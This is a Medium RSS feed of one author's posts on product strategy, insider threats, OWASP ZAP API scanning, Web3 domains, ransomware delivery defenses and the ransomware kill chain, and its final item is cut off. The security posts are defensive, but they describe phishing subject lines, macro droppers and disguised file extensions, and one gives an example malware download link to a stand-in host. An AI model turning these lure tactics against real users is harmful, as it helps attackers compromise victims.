<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Roman Romanenco on Medium]]></title>
        <description><![CDATA[Stories by Roman Romanenco on Medium]]></description>
        <link>https://medium.com/@romanenco?source=rss-dd275906bfef------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*0kU2WNq8ROaUx4skNfeFzQ@2x.jpeg</url>
            <title>Stories by Roman Romanenco on Medium</title>
            <link>https://medium.com/@romanenco?source=rss-dd275906bfef------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 15:12:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@romanenco/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[6-Step Blueprint for a Winning Product Strategy]]></title>
            <link>https://romanenco.medium.com/6-step-blueprint-for-a-winning-product-strategy-7c29b854dcc4?source=rss-dd275906bfef------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c29b854dcc4</guid>
            <category><![CDATA[business]]></category>
            <category><![CDATA[strategy]]></category>
            <category><![CDATA[product-management]]></category>
            <category><![CDATA[product-development]]></category>
            <category><![CDATA[startup]]></category>
            <dc:creator><![CDATA[Roman Romanenco]]></dc:creator>
            <pubDate>Wed, 06 Sep 2023 10:02:25 GMT</pubDate>
            <atom:updated>2023-09-06T10:02:25.157Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_L2elDdmUnW048iJxv-PpQ.png" /></figure><p>In the bustling alleys of the business world, a product strategy is akin to a GPS, guiding a product’s development and launch with finesse and precision. If you’ve ever wondered how successful products get from ideas to the hands of the consumers, read on. Let’s dive into the journey of creating a winning product strategy.</p><h4>1. Market Analysis: Listening Over Guessing</h4><p>Contrary to popular belief, the best ideas don’t emerge from hunches or just “intuitive feelings.” They appear from talking to potential users and understanding:</p><ul><li>Who they are</li><li>Their habits</li><li>The size of the potential market</li><li>Who are the main competitors</li></ul><p>To pinpoint the segments ripe for impact, consider employing surveys. Surveys are an invaluable tool in discerning user needs and potential pain points.</p><h4>2. Customer Analysis: Crafting a Customer Persona</h4><p>Before diving headfirst into product creation, it’s crucial to understand your audience deeply. Identify your target customer segment and get familiar with their:</p><ul><li>Goals</li><li>Challenges</li><li>Preferences</li><li>Behaviors</li></ul><p>It’s almost like you’re drawing a vivid picture — this is your customer persona. The clearer it is, the more effectively you can serve them.</p><h4>3. Product Vision &amp; Mission: The Heart and Soul</h4><p>Vision encapsulates the idealized future of your product. It answers questions like, <em>Why now? What problem is this solving? For whom?</em> Use this template to crystalize it:</p><p><em>For (target customers)</em> <em>Who (have a specific need)</em> <em>Our product is a (product category)</em> <em>That provides (compelling reason to buy)</em> <em>Unlike (alternative)</em> <em>Our product (key differentiators)</em></p><p>On the other hand, the mission is a tad broader and vaguer. It lays out the problem you aim to solve and for whom. It’s the core essence and purpose of your product, the very reason it exists.</p><h4>4. OKRs: Setting the Path</h4><p>OKRs (Objectives and Key Results) are like the north star, keeping the team focused and aligned. They define:</p><ul><li>The main objectives to meet your vision</li><li>Quantifiable outcomes that are time-bound</li><li>Specific targets and milestones</li><li>Assigned ownership and responsibility</li></ul><h4>5. Roadmap &amp; Prioritization: Charting the Course</h4><p>Your roadmap is a detailed plan aligned with your product’s vision and mission. It outlines:</p><ul><li>Major initiatives</li><li>New features</li><li>Enhancements</li></ul><p>For prioritization, think about the value vs. complexity. Which initiatives will have the most impact? And which aligns with customer needs, market trends, and the resources at hand?</p><h4>6. Communicating Product Strategy: Sharing the Vision</h4><p>For a strategy to succeed, it needs more than just great content — it needs an audience. Engage key stakeholders, prioritize efforts, set budgets, assign tasks, and ensure everything is data-driven and aligned with market trends.</p><p><strong>Attributes of a Winning Product Strategy</strong></p><ul><li>A clear, aspirational, yet practical vision &amp; mission</li><li>A customer-centric focus</li><li>Recognition of market trends and competitive landscapes</li><li>Data-driven decision-making</li><li>Flexibility and adaptability</li><li>Effective communication</li></ul><p>A winning product strategy isn’t just about building a product. It’s about creating value, exceeding customer expectations, and addressing genuine pain points. Remember, the path to a product’s success is paved with understanding, clarity, and a passion to serve the end-user.</p><p>Happy strategizing! 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c29b854dcc4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[5 Insider Threats Your Company is Overlooking]]></title>
            <link>https://romanenco.medium.com/5-insider-threats-your-company-is-overlooking-5a0405062fc8?source=rss-dd275906bfef------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a0405062fc8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[workplace-culture]]></category>
            <category><![CDATA[data-privacy]]></category>
            <category><![CDATA[business]]></category>
            <dc:creator><![CDATA[Roman Romanenco]]></dc:creator>
            <pubDate>Tue, 05 Sep 2023 02:05:01 GMT</pubDate>
            <atom:updated>2023-09-06T04:05:15.370Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dDV5PRA7LuTMue7SOhDhSA.png" /></figure><p>In the ever-evolving cybersecurity landscape, the spotlight is often cast on external threats, while the danger that can arise from within our organizations tends to stay hidden in the shadows. Insider threats posed by employees, contractors, and even third-party vendors can have devastating consequences if left unchecked. These threats can arise from various motivating factors, ranging from emotional triggers to financial gains, and can take shape through activities that your company might be overlooking. In this article, we’ll explore five insider threat activities that demand your attention and offer insights into bolstering your defense mechanisms.</p><ol><li><strong>Exfiltration of Data via Email:</strong> In the age of digital communication, email remains an indispensable tool for businesses. However, this also makes it a prime target for insider threats. Disgruntled employees, contractors, or vendors could misuse their email privileges to exfiltrate sensitive data. Not scrutinizing outbound emails makes companies susceptible to data breaches that could lead to lost revenue, non-compliance fines, brand damage, and intellectual property loss.</li><li><strong>Exfiltration of Data via Chat Clients:</strong> The rise of chat clients as a means of instant communication has brought efficiency to the workplace, but it has also created an avenue for potential data breaches. Insiders can exploit these platforms to send confidential information outside the organization. The decentralized nature of chat tools makes them perfect vectors for data exfiltration, especially when monitoring is lax.</li><li><strong>Exfiltration of Data via Cloud Storage:</strong> Cloud storage solutions have revolutionized how we store and access data, but they also present a unique challenge for security. Insider threats can use personal or company-provided cloud storage accounts to transfer sensitive information discreetly. As companies focus on external security, they may overlook the risk posed by unchecked cloud storage activities.</li><li><strong>Exfiltration of Data via Cloud Services:</strong> Cloud services can become conduits for data exfiltration beyond just storage. Insiders can leverage cloud applications and platforms to send out sensitive data under the radar. Organizations should ensure that they have robust controls and monitoring mechanisms in place for cloud service usage.</li><li><strong>Exfiltration of Data via Unauthorized Storage Devices:</strong> While USB drives and external hard drives might seem like outdated threats, they are far from irrelevant. Employees, contractors, or vendors could easily connect these devices to company systems and extract data. Neglecting to implement strict device access controls could leave your organization exposed to this form of insider threat.</li></ol><p>Detecting and Preventing Insider Threats: To effectively combat insider threats, organizations must adopt a multi-pronged approach that involves technology, training, and awareness. Network and user-based analytics tools can establish baselines of normal activity and raise alerts when abnormal behavior is detected. However, technology alone is not enough.</p><p>Implementing an Insider Threat Program (ITP) is crucial, involving stakeholders from legal, human resources, and IT security departments. This collaborative effort ensures a comprehensive response to potential threats. ITPs can include scenario-based configurations that build narratives around possible insider threat activities, such as data exfiltration by high-risk employees nearing departure.</p><p>Furthermore, an essential component of insider threat mitigation is employee training. A well-structured training program should educate employees about the indicators of insider threats, potential legal consequences, and the importance of responsible data handling. By raising awareness among the workforce, organizations can create a stronger line of defense against internal threats.</p><p>As the age of collaboration and digital communication continues to thrive, the risk of insider threats becomes more significant. Companies can better safeguard their sensitive information by acknowledging the various exfiltration methods that insiders could exploit and implementing robust security measures and training programs. An effective defense against insider threats requires a proactive, multi-faceted approach that embraces technology, education, and collaboration across departments. Don’t let insider threats go unnoticed — secure your organization from within.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a0405062fc8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I automate authenticated API security testing]]></title>
            <link>https://romanenco.medium.com/how-i-automate-authenticated-api-security-testing-30eb90abb78e?source=rss-dd275906bfef------2</link>
            <guid isPermaLink="false">https://medium.com/p/30eb90abb78e</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[automation]]></category>
            <dc:creator><![CDATA[Roman Romanenco]]></dc:creator>
            <pubDate>Wed, 26 Oct 2022 02:12:36 GMT</pubDate>
            <atom:updated>2023-05-26T12:29:24.784Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nJlP2M80CE3qXqwajnffbw.png" /></figure><p>This is a short &amp; simple post about automating the dynamic application security testing (DAST) of a service API. Usually performed as part of an Application or Product Security effort.</p><p>Our tool of choice for this testing is OWASP ZAP, it’s an open-source web application security scanner. I prefer using the Docker container version of the tool as it comes pre-built with the necessary environment, therefore is no need to manually install dependencies. You may find the Docker image on <a href="https://hub.docker.com/r/owasp/zap2docker-stable/">Dockerhub</a>.</p><p>Ideally, developers document the service API as a Postman collection, other times you may find these definitions documented as a Swagger document which is an OpenAPI formatted collection. Both are documents we can use to automate our security testing.</p><p>If you have a Postman collection, start from Step 1. If you have a Swagger (OpenAPI) spec, jump to Step 2.</p><ol><li>Convert Postman collection to OpenAPI (Swagger) using <a href="https://github.com/joolfe/postman-to-openapi">postman-to-openapi</a></li></ol><pre>p2o /path/to/PostmantoCollection.json -f /path/to/openapi-result.yaml</pre><p>2. To use authentication for our API security test, we can define the Authorization header (BasicAuth) via an <em>options.prop</em> file. This is a configuration file used as input for OWASP ZAP. Create the file and define its content like so:</p><pre>replacer.full_list(0).description=auth1 replacer.full_list(0).enabled=true replacer.full_list(0).matchtype=REQ_HEADER replacer.full_list(0).matchstr=Authorization replacer.full_list(0).regex=false <br>replacer.full_list(0).replacement= Basic TOKENHERE</pre><p>3. Having earlier downloaded the OWASP ZAP Docker image, and having both the openapi-result.yaml and options.prop files in our current working directory, we can proceed to run the automated API scan.</p><p>This one-liner runs ZAP API packaged scan via Docker while ingesting the converted OpenAPI YAML specification and options.prop config from the current working mounted directory (and outputs an XML report).</p><pre>docker run --rm -v $(pwd):/zap/wrk/:rw -t owasp/zap2docker-stable <a href="https://t.co/1Gw0DltoK1">zap-api-scan.py</a> -t openapi.yaml -f openapi -z &quot;-configfile /zap/wrk/options.prop&quot; -x report.zap.xml</pre><p>If you’d like to output a report in another format, such as PDF or HTML, would need to use the -o flag instead of -x. For this use case, XML was chosen as it’s commonly used as the import format for risk management platforms.</p><p>From this point, one may decide to take the above process a step further and implement it as part of a CI/CD pipeline such as with Jenkins or GitLab.</p><p>I have also created a short version of this blog as a <a href="https://twitter.com/0xr0me/status/1582893766725480449?s=20&amp;t=8KY5zLGml7U3Awq3I0IrkQ">Twitter thread</a>, feel free to retweet, or bookmark it for later reference using Notion.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30eb90abb78e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Register and prosper with Web3 domains]]></title>
            <link>https://medium.com/coinmonks/how-to-profit-from-the-web3-domain-gold-rush-f9aafeeee4ed?source=rss-dd275906bfef------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9aafeeee4ed</guid>
            <category><![CDATA[nft]]></category>
            <category><![CDATA[identity]]></category>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[domains]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[Roman Romanenco]]></dc:creator>
            <pubDate>Sun, 01 May 2022 02:00:56 GMT</pubDate>
            <atom:updated>2023-08-20T18:25:19.886Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PVnCaV952O70UCxXLXwLRw.jpeg" /></figure><p>Web3 has been on fire this past year, we’re witnessing an emerging sector of innovation in its infancy. Similar to the rise of Web2 (version of the internet most of us know) in the ’90s and ’00s with the “.com” boom, Web3 is experiencing rapid growth in demand for domains.</p><p>Contrary to “.com” domains, domains registered for web3 are much more versatile than just a web address. These can act as your identity across the web3 ecosystem, act as a wallet or payment method, host a decentralized application or website, be used for licensing of derivatives, hold a variety of metadata and possibly other use cases which have yet to be explored.</p><p>There are several major domain registrars on the Ethereum network:</p><p><a href="https://app.ens.domains/">Ethereum Name Service (ENS)</a> — Most popular registrar, endorsed by Vitalik Buterin. Lets you register a “.eth” extension domain.</p><p><a href="https://unstoppabledomains.com/">Unstoppable Domains</a> — Second biggest registrar. Allows registration of several popular extensions, such as “.nft”, “.crypto”, “.x”, “.wallet”, “.dao”, and others.</p><p><a href="https://wnsdomains.io/">Web3 Name Service (WNS)</a> — New comer registrar. Allows registration of “.web3” extension domains as well as unique NFT collection ownership-based endings like “.bayc” for Bored Ape Yacht Club owners.</p><p>ENS domains are registered for a fixed period of time, meaning when expiration date arrives, you may need to either pay to renew the registration or relinquish the ownership. On the other hand, Unstoppable Domains and WNS are a one-time payment registration after which you have lifetime ownership.</p><p>When going to register your domain there are a few things to keep in mind which I’ve noticed to trend or hold more value:</p><p><strong><em>Short names</em></strong>, 3–5 letter generic words that have brand-able potential such as lemon, moon, ink, etc. A lot of these will already be registered but you may still find some diamonds available. Could use an Oxford English dictionary to get some inspiration. Don’t forget about foreign words or even latin !</p><p><strong><em>First or last names, </em></strong>because these domains are also used as your identity across web3, its a no brainer first name domains are valuable (“john.eth” etc). If you’re fortunate enough to register a regularly seen lastname, it is possible to then mint derivatives (subdomains) such as licensing first names (“john.johnson.eth” etc). This has passive income potential.</p><p><strong><em>Subdomain-ability</em></strong>, similar to licensing personal names, its possible to capture an entire industry with an alpha domain. A good example of it can be seen with Budweister licensing an address from the beer.eth alpha like “<a href="https://twitter.com/budweiserusa">budweister.beer.eth</a>”. These are generally words that can capture a broad spectrum of brands or child addresses.</p><p><em>Bonus</em> // 3-letter combinations could be used for their acronym definition variety. An average acronym possesses a dozen or more possible definitions, and therefore has a high subdomain capability while also maintaining the limited supply value.</p><p><strong><em>Limited supply,</em></strong> 3-letter words and 3-digit names are considered the rarest, as there are only 1,065 3-letter English words and 1,000 possible combinations for a 3-digit code. Similarly there are 17,576 possible 3-letter combinations and 10,000 for a 4-digit code.</p><p><strong><em>Creative Combos,</em></strong> chain together two keywords that best describe your business or use-case. Try mashups of two or three words that are meaningful. Can they be combined in some way — either in pieces, or entirely? Keep it original.</p><p>Once you’ve found some available domains to register, you may use <a href="https://www.godaddy.com/domain-value-appraisal">GoDaddy Appraisal</a> tool to gauge a monetary figure of what the domain could be worth, which is calculated based on historical sales in the .com extension.</p><p>Something to keep in mind, while it may be enticing to try and register domains of trademarked brands for the hope that they would pay a premium to take it off your hands, I can say that the chance of that happening is slim to none. This activity is often regarded as “<a href="https://www.winston.com/en/legal-glossary/cybersquatting">cybersquatting</a>” and could result in the company issuing a <a href="https://www.dmca.com/FAQ/What-is-a-DMCA-Takedown">DMCA takedown request</a>.</p><p>The forefront marketplace to sell or buy domains right now is <a href="https://opensea.io/">OpenSea</a>. While you may get the most eyes on your domains by listing on OpenSea, the associated gas fees are quite high. Consider listing on <a href="https://looksrare.org/">LooksRare</a> marketplace as they charge an exponentially lower fee to list, and still command solid foot-traffic. <a href="https://wnsdomains.io/marketplace">WNS</a> also offers listing natively on their own marketplace which does not charge any fees. Ideally, the domain for sale should be listed on at least two places.</p><blockquote>Join Coinmonks<a href="https://t.me/coincodecap"> Telegram Channel</a> and<a href="https://www.youtube.com/c/coinmonks/videos"> Youtube Channel</a> learn about crypto trading and investing</blockquote><h3>Also, Read</h3><ul><li><a href="https://coincodecap.com/best-crypto-exchanges-in-uae">5 Best Crypto Exchanges in UAE</a> |<a href="https://coincodecap.com/simpleswap-review"> SimpleSwap Review</a></li><li><a href="https://coincodecap.com/ways-to-buy-dogecoin">7 Best Ways to buy Dogecoin</a> |<a href="https://coincodecap.com/zebpay-review"> ZebPay Review</a></li><li><a href="https://coincodecap.com/futures-trading-signals">Best Futures Trading Signals</a> |<a href="https://coincodecap.com/liquid-exchange-review"> Liquid Exchange Review</a></li><li><a href="https://coincodecap.com/huobi-crypto-trading-signals">Crypto Trading Signals for Huobi</a> |<a href="https://medium.com/coinmonks/swapzone-review-crypto-exchange-data-aggregator-e0ad78e55ed7"> Swapzone Review</a></li><li>Best<a href="https://coincodecap.com/best-crypto-trading-bots"> Crypto Trading Bots</a> |<a href="https://coincodecap.com/buy-solana"> Buy Solana</a> |<a href="https://coincodecap.com/matrixport-review"> MatrixPort Review</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9aafeeee4ed" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/how-to-profit-from-the-web3-domain-gold-rush-f9aafeeee4ed">Register and prosper with Web3 domains</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Common ransomware delivery and cost effective proactive defense]]></title>
            <link>https://medium.com/codex/proactive-defense-against-common-ransomware-delivery-8123c9893e29?source=rss-dd275906bfef------2</link>
            <guid isPermaLink="false">https://medium.com/p/8123c9893e29</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybercrime]]></category>
            <dc:creator><![CDATA[Roman Romanenco]]></dc:creator>
            <pubDate>Wed, 27 Apr 2022 00:46:14 GMT</pubDate>
            <atom:updated>2023-08-20T18:30:33.415Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Mk0kG6cq3AWzIBlp-GdMw.png" /></figure><p>We as security practitioners often remind others, good cyber hygiene and best practices in security controls will go a long way in effectively defending against ransomware and malware in general. In this follow up post, we analyze several key delivery techniques utilized by most ransomware variants and provide “best bang for your buck” counter measures that can often be implemented relatively quickly and cheaply even if your environment lacks a “next-gen” security product or service.</p><p>First, let’s dive into some common delivery methods and tactics. To deliver the initial exploit, an attacker often uses bait to launch the attack; this can be achieved by sending the payload to the victim via phishing emails, malicious links, infected attachments, malicious ads, or a compromised website. The following are the most common techniques ransomware has been observed to leverage and find its way onto a victim’s computer.</p><p><strong><em>Phishing Emails</em></strong><br>It is far easier to trick someone into clicking a malicious link in a seemingly legitimate email than trying to break through a computer’s defenses. Typically, a victim would receive a message that appears to have been sent by a known contact or organization, containing an attachment or a link. They often use financial-themed subjects to create a sense of urgency which trick a user to open without thinking.</p><p>Examples:</p><p>FW:Expenses Report # xxxx<br>Payment confirmation<br>Additional Costs<br>Recent bill<br>RE: Additional information needed # xxxx</p><p><em>File Attachments</em></p><p>These emails may also include a file attachment. Typically purporting to be documents or spreadsheets, but weaponized to compromise the computer when interacted with. The most common approach is embedding macros into the Office document, which is a payload written in Visual Basic for Applications (VBA) that will execute once an unsuspecting victim allows the runtime. To encourage the victim to allow macros, the document may advise that macros are needed in order to correct the text encoding. Once allowed, instead of correcting the text encoding, an executable is downloaded from a remote server and executed, completing the infection.</p><p>Another common file attachment technique is file extension hiding. A bad actor may try to deliver an executable file inside of a compressed archive attachment such as a ZIP file. Renaming the executable inside the ZIP file to something like “deposit.pdf.exe” to trick the user into thinking it is safe. Another variation is obscuring the real file extension by using numerous spaces before the “.exe” in the filename, like: “deposit.pdf .exe” — so the “.exe” does not appear on the screen and tricks the victim into thinking it is a PDF file. In this scenario, once the executable file is run, infection is complete.</p><p><em>Malicious Links</em></p><p>This variant of ransomware delivery relies on the user clicking a link from the phishing email. The link then may take the user to a website that infects the system via a series of redirects (such as an exploit kit or malvertising-induced drive-by download) or downloads the malware directly with the click of the embedded link (such as embedded link to <a href="http://website.com/evil.exe">http://website.com/evil.exe</a>).</p><p><strong><em>Drive-by Downloads</em></strong></p><p>Drive-by downloads focus on un-patched vulnerabilities in Windows and other installed software to silently infect your machine with little to no user interaction required, this malware “auto-installs” without the usual prompts about saving or running downloaded files. Even when visiting a legitimate website, users must remain vigilant as legitimate websites can be compromised to host malicious scripts or ads that redirect to exploit kits and malware payloads.</p><p><em>Malvertising</em></p><p>Similar to visiting a compromised website, malvertising is executed by hiding malicious code within online advertisements. These ads include active scripts that are built to download malware or force undesirable content to the victim’s computer when once page is loaded with ads. Malvertisers often rely on Adobe Flash, Adobe PDF, and Java vulnerabilities to spread malware because these browser plugins are highly prone to security vulnerabilities.</p><h4><strong>Defenses that can be implemented to defend against such common delivery methods:</strong></h4><p><em>Phishing Emails</em></p><ul><li>Spam Filters — Enabling filters won’t catch every malicious email, but can stop a significant number of malicious emails, especially if the filter rules are tuned and updated.</li><li>External Tags — If your mail server allows such functionality, configure email messages received from external systems to be marked with a tag in the subject line (such as “[External]” and “[Attachment]” to make users aware that the message originated from an external party and to treat anything contained in or attached to that message with caution. Accordingly, if an employee receives an email purporting to be from another employee, but with an [External] tag, that should raise a red flag.</li><li>Block High-Risk File Types — Block email messages with commonly abused file formats attached to the message such as executable, ZIP, RAR, 7z, Office documents with macros, scripts, and other high-risk file formats. Check out this <a href="http://www.howtogeek.com/137270/50-file-extensions-that-are-potentially-dangerous-on-windows/">list of high-risk file types</a> to block based on extension. As extensions can be easily manipulated or obfuscated, blocking file formats based on content inspection (e.g. file headers) is more effectively than blocking solely based on extension.</li><li>Always Show File Extensions — Windows Explorer hides file name extensions by default, however you can make file name extensions visible by following this <a href="http://support.microsoft.com/en-us/kb/865219">simple solution</a>.</li><li>Training — Focus on user awareness and training. Because end users are often targeted, employees should be made aware of the threat of ransomware and how it is delivered, and trained on basic information security principles and techniques including how to spot phishing emails and other social engineering techniques.</li></ul><p><em>Drive-By Downloads</em></p><ul><li>Configure Ad Blocker — Install and configure an ad blocker plugin in browsers, which can help disrupt malvertising and other drive-by download vectors.</li><li>Disable/Uninstall Flash -– find “Adobe Flash Player” in the “Programs and Features” and bring up the uninstall dialog. Google Chrome provides a built-in (and arguably more secure) version of Flash Player which can be disabled by accessing the Chrome plugins page by typing <a href="http://chrome//plugins/">chrome://plugins</a> in the address bar.</li><li>Disable Java Browser Integration — This will prevent malicious websites from loading the Java browser plugin to silently install malware. In Java’s settings on the Security tab, uncheck the “Enable Java content in the browser” checkbox. This will disable the Java plug-in in all browsers on your computer.</li><li>Disable PDF Reader plug-ins — Disabling the PDF Reader plug-in will result in your downloading PDFs to view in a PDF Reader application rather than viewing it in your browser, saving the user from loading a page with code that attacks PDF Reader vulnerabilities. Alternatively, there are non-Adobe PDF Reader software such as <a href="http://download.cnet.com/Sumatra-PDF/3000-18497_4-10698785.html">Sumatra PDF</a>, which is not as commonly targeted as Adobe.</li><li>Maintain Up-to-Date Patch Management — Patch all endpoint device operating systems, software (including web browsers), and firmware as vulnerabilities are discovered. The danger is that patches have already been released, which means the attackers know exactly what’s vulnerable with an unpatched machine.</li><li>Enable AppLocker — Allows the organization to specify which users or groups can run particular applications based on unique identities of files. This allows to create rules for your desktops to prevent execution of unknown executables. <a href="http://technet.microsoft.com/en-us/library/dd759117.aspx">Windows AppLocker</a></li><li>File and Share Permissions — Least privilege access should be enforced for users’ ability to run and install software and access network shares. Users should not be allowed to run or install software as local admin by default. Permitting users to run their web browsers and any downloaded or attached files as local admin facilitates malware such as ransomware executing unimpeded as local admin. Similarly, share permissions should be as granular as possible. For example, if an infected user is restricted to read-only permissions for critical network shares, ransomware will be unable to encrypt or delete the files in that share from the infected user’s workstation.</li><li>Anti-Virus Protection Software — Maintain up-to-date antivirus, but do not rely on antivirus as it is trivial for ransomware to evade detection, hence the best malware and antivirus tool is prevention.</li></ul><p>Understanding the individualized ransomware delivery tactics, allows us to determine what countermeasures and defense techniques can be put in place to obscure the delivery process.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8123c9893e29" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codex/proactive-defense-against-common-ransomware-delivery-8123c9893e29">Common ransomware delivery and cost effective proactive defense</a> was originally published in <a href="https://medium.com/codex">CodeX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deconstructing the ransomware kill chain]]></title>
            <link>https://medium.com/codex/deconstructing-the-ransomware-kill-chain-e22390362705?source=rss-dd275906bfef------2</link>
            <guid isPermaLink="false">https://medium.com/p/e22390362705</guid>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Roman Romanenco]]></dc:creator>
            <pubDate>Wed, 06 Apr 2022 02:04:01 GMT</pubDate>
            <atom:updated>2022-04-07T16:47:33.863Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*torJ6PlesCjsauXT2AG-Xw.jpeg" /></figure><p>By design ransomware is a relatively “noisy” form of malware and its kill chain presents multiple opportunities for network defenders to successfully detect and mitigate this type of threat. By mapping out the steps of the ransomware intrusion, we may better understand the malware itself and increase our capability of mapping controls, countermeasures and defense techniques to it at various stages of the process.</p><p>This post will be referencing the kill chain of a widespread crypto-ransomware named TeslaCrypt but is also the basic structure of a common ransomware attack.</p><p>Step 1: Recon</p><p>Attacker gathers information on the target; this can be accomplished by looking at publicly available information on the web or social engineering techniques. This is completed before the actual attack and can be either active or passively occurring behind the scenes. For most ransomware attacks, the victims are not specifically targeted and therefore may not be subject to reconnaissance in a traditional sense. However, some ransomware gangs do scan and identify vulnerable organizations in order to target them for attack. Additionally, in the broader context of the cybercrime marketplace, cybercriminals are constantly performing reconnaissance to identify vulnerable infrastructure that can be adapted for different needs throughout the stages of the malware kill chain.</p><p>Step 2: Weaponization</p><p>Attacker creates a malicious exploit to send to the victim. This step also happens behind the scenes at the attacker side without contact with the victim. Examples include an exploit kit that profiles victim computers in order to deliver specific exploits that they are vulnerable to, and an Office document with a malicious macro that can be sent as an email attachment.</p><p>Step 3: Delivery</p><p>Attacker uses bait to launch the attack; this can be achieved by sending the malware to the victim via phishing emails, links, infected attachments, malicious ads, or a compromised website. Currently 93% of all phishing emails is ransomware, making it the most widespread malware variant in payload delivery. Despite the rigorous anti-phishing training provided to employees by some IT departments, social engineering is still a highly successful method. If the user takes the “bait” from one of the intrusion methods used by the attacker like following a link or opening a malicious attachment, the next stage is triggered.</p><p>Step 4: Installation or Exploitation</p><p>Installation is relevant when the attacker uses malware as part of their attack. The victim clicks or opens the malicious file, which executes the malware onto the user’s device. In many situations the victim is not aware that the malware is being executed and that the device is becoming infected.</p><p>Step 5: Key Exchange and Call Home (Command and Control)</p><p>A command and control (C&amp;C) channel is created to enable attacker control of his internal assets remotely and can be set up months in advance or on the fly. After the execution of the malware and system infection, the malware reaches out or “calls home” to the server in order to generate and retrieve a key pair. Unlike the public key in an asymmetric key encryption scheme, only the holder of the paired private key can decrypt the file system. The encryption keys are received from the server in order for the files to be encrypted and then later decrypted with the same key pair after the victim has paid the ransom. Note that not all ransomware reaches out to the C&amp;C server for the encryption key, as the encryption keys may be generated locally on the machine, depending on the ransomware variant.</p><p>Step 6: Encryption and Persistence</p><p>After the initial execution of the ransomware on the machine, the malware begins to search for files matching extensions that are hardcoded into the malware’s list of target file extensions. Ransomware recursively performs these searches on any mounted drive, whether a local drive, USB drive, network share, etc. When the files matching the extensions are found, a temporary file is created to encrypt the original file content. The original file is then overwritten and replaced by the corresponding encrypted file to restrict access. This method effectively blocks the data from the victim. The file extensions hardcoded into the malware generally include over 300 target file extensions, ensuring that every useful file on the machine is encrypted in the process. The malware leverages a persistence technique such as creating registry entries to enable it to run at startup as well as in Safe Mode to continue its encryption upon restart of the system.</p><p>Step 7: Ransom and Extortion</p><p>After the encryption process is complete, to regain access to the data the attacker requests payment to decrypt the data with their unique decryption key. The request is commonly made via a window popup following the encryption process notifying the victim of the encryption of their data. Within this popup window the victim will find instructions to submit payment, including URLs for creating a Bitcoin wallet and submittal of payment, commonly over the Tor anonymous network at a .onion web address. Note that paying the ransom payment does not guarantee the attacker will hold their end of the deal.</p><p>Profit?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e22390362705" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codex/deconstructing-the-ransomware-kill-chain-e22390362705">Deconstructing the ransomware kill chain</a> was originally published in <a href="https://medium.com/codex">CodeX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CISSP: Mile Long, Inch Deep…]]></title>
            <link>https://romanenco.medium.com/cissp-mile-long-inch-deep-384b6911c7bb?source=rss-dd275906bfef------2</link>
